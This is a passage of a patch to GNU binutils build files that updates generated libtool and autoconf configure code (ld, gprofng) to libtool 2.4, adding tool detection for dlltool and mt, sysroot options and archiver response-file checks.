++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+@@ -18059,12 +18898,12 @@ with_gcc=$GCC_CXX
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl_CXX
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic_CXX
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl_CXX
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static_CXX
+
+@@ -18151,9 +18990,6 @@ inherit_rpath=$inherit_rpath_CXX
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs_CXX
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path_CXX
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols_CXX
+
+@@ -18169,6 +19005,9 @@ include_expsyms=$lt_include_expsyms_CXX
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds_CXX
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds_CXX
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec_CXX
+
+diff --git a/gprofng/src/Makefile.in b/gprofng/src/Makefile.in
+index db763ef71b2..726dc69bf85 100644
+--- a/gprofng/src/Makefile.in
++++ b/gprofng/src/Makefile.in
+@@ -321,6 +321,7 @@ CXXFLAGS = @CXXFLAGS@
+ CYGPATH_W = @CYGPATH_W@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -355,6 +356,7 @@ LN_S = @LN_S@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ NM = @NM@
+ NMEDIT = @NMEDIT@
+diff --git a/ld/Makefile.in b/ld/Makefile.in
+index 15311048855..71b39ee9311 100644
+--- a/ld/Makefile.in
++++ b/ld/Makefile.in
+@@ -390,6 +390,7 @@ CYGPATH_W = @CYGPATH_W@
+ DATADIRNAME = @DATADIRNAME@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -445,6 +446,7 @@ LTLIBINTL = @LTLIBINTL@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ MKINSTALLDIRS = @MKINSTALLDIRS@
+ MSGFMT = @MSGFMT@
+@@ -495,6 +497,7 @@ abs_builddir = @abs_builddir@
+ abs_srcdir = @abs_srcdir@
+ abs_top_builddir = @abs_top_builddir@
+ abs_top_srcdir = @abs_top_srcdir@
++ac_ct_AR = @ac_ct_AR@
+ ac_ct_CC = @ac_ct_CC@
+ ac_ct_CXX = @ac_ct_CXX@
+ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+diff --git a/ld/configure b/ld/configure
+index 98a76d6da7f..a4266996c44 100755
+--- a/ld/configure
++++ b/ld/configure
+@@ -705,8 +705,11 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
+ RANLIB
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -836,6 +839,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_plugins
+ enable_largefile
+@@ -1581,6 +1585,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-lib-path=dir1:dir2... set default LIB_PATH
+ --with-sysroot=DIR Search for usr/lib et al within DIR.
+ --with-gnu-ld assume the C compiler uses GNU ld default=no
+@@ -5560,8 +5566,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -5601,7 +5607,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -6294,8 +6300,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -6344,6 +6350,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -6360,6 +6440,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -6528,7 +6613,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6687,6 +6773,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6702,6 +6803,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6716,8 +6968,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6733,7 +6987,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6753,11 +7007,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6773,7 +7031,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6792,6 +7050,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6803,29 +7065,81 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
++
++
++
++
++
++
++
++
++
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
+
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
+
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
+
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
+
+
+
+@@ -7172,8 +7486,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -7209,6 +7523,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -7250,6 +7565,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -7261,7 +7588,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -7287,8 +7614,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -7298,8 +7625,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -7336,6 +7663,27 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
++
++
++
++
++
++
++
++
++
++
+
+
+
+@@ -7348,10 +7696,38 @@ fi
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
+
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
+
+
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
+
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -7563,6 +7939,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
